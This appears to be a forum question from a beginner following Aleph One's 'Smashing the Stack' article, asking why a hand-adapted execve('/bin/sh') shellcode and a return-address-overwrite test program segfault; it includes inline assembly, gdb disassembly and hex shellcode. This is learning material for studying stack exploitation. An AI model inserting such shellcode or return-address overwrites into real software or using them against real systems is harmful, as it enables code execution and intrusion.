I'm currently reading the popular article "Smashing the Stack for fun and profit" by Aleph One but I have a problem. I will try to isolate the problem and present to you only that detail.
Even if I succeded in adapting the first examples for my compiler, I am stucked with the "testsc2.c" example. I will expose that problem briefly. In that example he starts from the following 2 simple programs:
1)
#include stdio.h
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
2)
#include stdlib.h
void main() {
exit(0);
}
After analyzing the "gdb disassemble" of these two programs he writes an assembler program doing what these 2 programs are doing(starting a shell). I adapted that program for my compiler and I obtained: ( it's very interesting the JMP to CALL instruction and after that the CALL to POP instruction in order to find out the address of the string).
shell.c
void main() {
__asm__(
" jmp .+44 ;"
" popl %esi ;"
" movl %esi, 0x8(%esi) ;"
" movb $0x0, 0x7(%esi) ;"
" movl $0x0, 0xc(%esi) ;"
" movl $0xb, %eax ;"
" movl %esi, %ebx ;"
" leal 0x8(%esi), %ecx ;"
" leal 0xc(%esi), %edx ;"
" int $0x80 ;"
" movl $0x1, %eax ;"
" movl $0x0, %ebx ;"
" int $0x80 ;"
" call .-42 ;"
" .string \"/bin/sh\" ;"
);
}
My big problem is that this program gives me a SEG FAULT. Shouldn't have opened a shell ?
The "gdb disassemble for the program is:
0x080483b4 <+0>: push %ebp
0x080483b5 <+1>: mov %esp,%ebp
0x080483b7 <+3>: jmp 0x80483e3 <main+47>
0x080483b9 <+5>: pop %esi
0x080483ba <+6>: mov %esi,0x8(%esi)
0x080483bd <+9>: movb $0x0,0x7(%esi)
0x080483c1 <+13>: movl $0x0,0xc(%esi)
0x080483c8 <+20>: mov $0xb,%eax
0x080483cd <+25>: mov %esi,%ebx
0x080483cf <+27>: lea 0x8(%esi),%ecx
0x080483d2 <+30>: lea 0xc(%esi),%edx
0x080483d5 <+33>: int $0x80
0x080483d7 <+35>: mov $0x1,%eax
0x080483dc <+40>: mov $0x0,%ebx
0x080483e1 <+45>: int $0x80
0x080483e3 <+47>: call 0x80483b9 <main+5>
0x080483e8 <+52>: das
0x080483e9 <+53>: bound %ebp,0x6e(%ecx)
0x080483ec <+56>: das
0x080483ed <+57>: jae 0x8048457 <__libc_csu_init+87>
0x080483ef <+59>: add %bl,-0x3d(%ebp)
After that, with gdb I obtain the shellcode:
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x5d\xc3";
The code he obtains(Aleph One in his article) differs from mine only with 2 hexa's (bolded characters) on the last line:
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";`
// Difference ^^^^^^^^
I am using the next program to start a shell:
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x5d\xc3";`
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
If I run shell.c I get a SEG FAULT. I think it should have openend a shell. Also if I run the above program with the shell code I get A SEG FAULT. I think there is a problem with the misaligned segments but I'm not sure. I don't know how to debug because I'm a beginner with gdb. Sorry for my long post. Any advice would be greatly appreciated.